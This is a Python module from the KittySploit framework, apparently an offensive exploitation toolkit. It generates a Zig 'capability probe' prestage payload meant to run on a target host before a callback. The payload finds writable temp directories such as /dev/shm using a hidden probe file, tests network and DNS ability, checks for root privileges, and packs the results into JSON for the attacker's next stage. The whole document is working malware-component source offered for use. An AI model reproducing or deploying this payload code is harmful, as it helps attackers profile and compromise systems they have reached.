Capability Probe (Zig)
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from typing import Any, Dict
from kittysploit import *
class Module(Prestage):
PRESTAGE_ID = "capability_probe"
__info__ = {
"name": "Capability Probe (Zig)",
"description": (
"Detect OS, architecture, runtime, privileges, writable directory, "
"and network capabilities before callback"
),
"author": "KittySploit Team",
"version": "1.0.0",
"platform": Platform.MULTI,
"languages": ["zig"],
"dependencies": [],
"tags": ["recon", "prestage", "offline", "zig"],
}
def generate_zig(self, context: Dict[str, Any] = None) -> str:
from core.payload_generation.prestage.emitters.zig import _split_helpers_body
helpers = """
var _kitty_capability_probe_json: []const u8 = "";
fn kittyProbeWritableDir(alloc: mem.Allocator) ![]const u8 {
var candidates = std.ArrayList([]const u8).empty;
defer {
for (candidates.items) |item| alloc.free(item);
candidates.deinit(alloc);
}
if (std.process.getEnvVarOwned(alloc, "TMPDIR")) |tmp| {
try candidates.append(alloc, tmp);
} else |_| {}
if (std.process.getEnvVarOwned(alloc, "TEMP")) |tmp| {
try candidates.append(alloc, tmp);
} else |_| {}
if (std.process.getEnvVarOwned(alloc, "TMP")) |tmp| {
try candidates.append(alloc, tmp);
} else |_| {}
if (builtin.os.tag != .windows) {
for ("/tmp", "/var/tmp", "/dev/shm") |path| {
const owned = try alloc.dupe(u8, path);
try candidates.append(alloc, owned);
}
}
for (candidates.items) |dir| {
std.fs.cwd().makePath(dir) catch continue;
const probe = try std.fmt.allocPrint(alloc, "{s}/.kitty_probe", .{dir});
defer alloc.free(probe);
std.fs.cwd().writeFile(.{ .sub_path = probe, .data = "ok" }) catch continue;
std.fs.cwd().deleteFile(probe) catch {};
return try alloc.dupe(u8, dir);
}
return try alloc.dupe(u8, "");
}
fn kittyProbeNetwork(alloc: mem.Allocator) ![]const u8 {
var socket_ok = false;
var tcp_ok = false;
var dns_ok = false;
const addr = std.net.Address.parseIp4("127.0.0.1", 65534) catch null;
if (addr) |parsed| {
const stream = std.net.tcpConnectToAddress(parsed) catch |err| switch (err) {
error.ConnectionRefused, error.ConnectionTimedOut, error.NetworkUnreachable => {
socket_ok = true;
tcp_ok = true;
},
else => {
socket_ok = true;
},
};
if (stream) |conn| {
socket_ok = true;
tcp_ok = true;
conn.close();
}
}
if (std.net.Address.resolveIp("127.0.0.1", 0)) |_| dns_ok = true else |_| {}
return try std.fmt.allocPrint(
alloc,
"{{\\"socket\\":{s},\\"dns\\":{s},\\"tcp_outbound\\":{s},\\"hostname\\":\\"\\",\\"ips\\":[],\\"proxy\\":{{}}}}",
.{
if (socket_ok) "true" else "false",
if (dns_ok) "true" else "false",
if (tcp_ok) "true" else "false",
},
);
}
""".strip()
body = """
{
const alloc = std.heap.page_allocator;
const writable = kittyProbeWritableDir(alloc) catch try alloc.dupe(u8, "");
defer alloc.free(writable);
const network = kittyProbeNetwork(alloc) catch try alloc.dupe(u8, "{}");
defer alloc.free(network);
var elevated = false;
var uid: i32 = -1;
if (builtin.os.tag != .windows and @hasDecl(std.posix, "geteuid")) {
uid = @intCast(std.posix.geteuid());
elevated = uid == 0;
}
const os_name = switch (builtin.os.tag) {
.linux => "Linux",
.windows => "Windows",
.macos => "Darwin",
else => @tagName(builtin.os.tag),
};
_kitty_capability_probe_json = try std.fmt.allocPrint(
alloc,
"{{\\"os\\":{{\\"name\\":\\"{s}\\",\\"release\\":\\"\\",\\"version\\":\\"\\"}},\\"arch\\":\\"{s}\\",\\"runtime\\":{{\\"language\\":\\"zig\\",\\"version\\":\\"{s}\\",\\"executable\\":\\"\\"}},\\"privileges\\":{{\\"elevated\\":{s},\\"user\\":\\"\\",\\"uid\\":{d},\\"gid\\":null}},\\"writable_dir\\":\\"{s}\\",\\"network\\":{s}}}",
.{
os_name,
@tagName(builtin.cpu.arch),
@import("builtin").zig_version_string,
if (elevated) "true" else "false",
uid,
writable,
network,
},
);
}
""".strip()
return _split_helpers_body(helpers, body)
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